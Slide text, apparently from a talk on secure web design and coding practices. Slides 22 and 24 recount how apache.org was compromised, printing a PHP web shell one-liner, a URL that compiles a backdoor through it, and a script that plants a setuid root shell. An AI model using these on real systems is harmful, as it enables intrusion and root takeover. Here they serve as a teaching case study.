Security and Web Programming/Design

1. Security and Web Programming/Design

2. cell phones • bio-facilities • Sodas, junk food, and coffee • Welcome to the No Smoking State

3. who are you? • where are you from? • what do you do? • Emacs or vi?

4. Warm Fuzzies • Secure Design and Implementation • Wordage

5. Security Concepts • Vetting Software • Design Strategy • Developer practices • Coding Practices • Operational Practices

6. Security Concepts

7. trust • transitive trust

8. principle of least privilege • enumerating badness • “best block: not be there” • -- Mr. Miyage

9. “defense in depth”

10. threats • vulnerabilities • risks

11. who accepts the risk?

12. being paranoid

13. confidentiality • integrity • availability

14. protect what you can • detect what you can’t prevent

15. hammers, nails...

16. a security mechanism is design to protect against a specific finite set of attacks. • It usually fails gloriously when modified or used for other purposes.

17. don’t design your own new security protocol

18. the law of unintended consequences

19. don’t rely on the environment for protection • don’t rely on good behavior • don’t rely on things you can’t control

20. how apache.org got pwn3d

21. ftproot == wwwroot • webuser == o+w

22. upload php via ftp • <? passthru($cmd); ?> • upload backdoor code • compile and execute via http • http://www.apache.org/thatdir/wuh.php3?cmd=gcc+-o+httpd+httpd.c • voila! shell on web server

23. bugzilla talking to mysql • mysql running as root • mysql username/password stored script

24. create table with text field • insert: • #!/bin/sh • cp /bin/sh /tmp/.rootsh • chmod 4755 /tmp/.rootsh • rm -f /root/.tcshrc • query: SELECT ... INTO ‘/root/.tchsrc’ • wait for someone to “su -”

25. Security Vetting

26. What is it supposed to do? • How does it work? • What side effects are there? • How is it deployed and maintained?

27. How does it fail? • What is the risk? • Can it be mitigated?

28. usability and security

29. understanding • caring • under-budget

30. security is an enabling task

31. It is especially important for expert programmers to internalize this habit, for two reasons. One is that expert programmers are disproportionately drawn from the high end of the bell curve in their working-set size; therefore they tend to systematically overestimate the amount of complexity other people can handle easily. • -- Eric S. Raymond, The Art of Unix Usability

32. Design Strategy

33. top down design

34. goals • requirements • design • review

35. what is the end result? • what problem trying to solve? • *not* how it is implemented

36. security • usability • performance • environmental

37. support • deployment • political • external

38. as simple as possible to meet the requirements • add requirements if apparent during design • be prepared to change when requirements can’t be met

39. for each security control • what threat is addressed? • Really?

40. recent examples

41. Developer Practices

42. The three virtues of a programmer are laziness, impatience, and hubris. • -- Larry Wall

43. Group permissions and accounts • Code Safety • Test Environment • Regression Testing

44. Coding Practices

45. bounds checking • input validation • no client-side trust • error checking

46. sql injection • cross-site scripting • credential handling • data mapping • logging

47. don’t require shell for remote execution

49. Operational Practices

50. Server accounts and permissions • handling credentials • accountability • software maintenance • documentation • testing and debugging